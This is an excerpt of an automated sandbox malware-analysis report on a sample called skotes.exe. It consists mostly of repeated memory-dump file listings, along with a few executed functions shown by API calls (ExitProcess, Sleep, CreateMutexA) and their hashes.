Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 4fc072dc561e02eac0380033778786e31deef21b443b9840a1c6b7c703e6e5a7
Instruction ID: df8aa3123f6a9010267a973f0d7c39e0d486d26ef91f9ace118f608f24f2d79d
Opcode Fuzzy Hash: 4fc072dc561e02eac0380033778786e31deef21b443b9840a1c6b7c703e6e5a7
Instruction Fuzzy Hash: 91A10FB0A207169FDB20EF75C8447AAB7A8FF15351F148129EC05D7281EB31EA68CBD5

Analysis Process: skotes.exePID: 4936, Parent PID: 1456COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1918
Total number of Limit Nodes:	9

Executed Functions

Function 00C6652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00C6652A,?,?,?,?,?,00C67661), ref: 00C66567

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cfbf7c22aff6a11efe056a812b310f4109e9b6ce72d0b2a2d2ac6ba3af9304e0
Instruction ID: 825ae39000a3ebf9c5317a940384fc1f3ebcfcd1060dabe0a9be7f21d5da0053
Opcode Fuzzy Hash: cfbf7c22aff6a11efe056a812b310f4109e9b6ce72d0b2a2d2ac6ba3af9304e0
Instruction Fuzzy Hash: 6DE0C230140248AFCF357F59C88FE9D3B69EF51781F100818F82986232CB36DE81DA90

Function 00C39BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b8aaac97fa5c92e07594919ada6d9e057a8a8bc5a3f2536155d252122200daa4
Instruction ID: 0998396a12ebb5869efd8309b05dd807c0f1f521f33b0f05a8d9d5d1b9863592
Opcode Fuzzy Hash: b8aaac97fa5c92e07594919ada6d9e057a8a8bc5a3f2536155d252122200daa4
Instruction Fuzzy Hash: 8B315B717242048BEF18EB7CECCD79EB762EBC2314F244219E054A73D6C7B58A858751

Function 00C39F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 10a474c30559bdf1ae6f69050425954cd4620d4d9c6a5b6ced2d64bc28157803
Instruction ID: d03ae69821e3a9827dea6ba99d43de109cf810e4a6be9a28d726e0bfb8799966
Opcode Fuzzy Hash: 10a474c30559bdf1ae6f69050425954cd4620d4d9c6a5b6ced2d64bc28157803
Instruction Fuzzy Hash: 123177317242048BEF08EBB8DC8C7ADB762EB85310F204619F058EB2D5C7758A818722

Function 00C3A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a2d427011952efe1e727c0013b1f7554b04318aa790f9e7419c929256ec6efdf
Instruction ID: ca46e920132cbdd5a4bb6415a991465c88e1893e7d4b4931dc0c18e3a03ea5e2
Opcode Fuzzy Hash: a2d427011952efe1e727c0013b1f7554b04318aa790f9e7419c929256ec6efdf
Instruction Fuzzy Hash: 94315B31720204DBEF18EB78CC8D79DB762EB81310F24461DE0A5A73D1C77599958722

Function 00C3A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
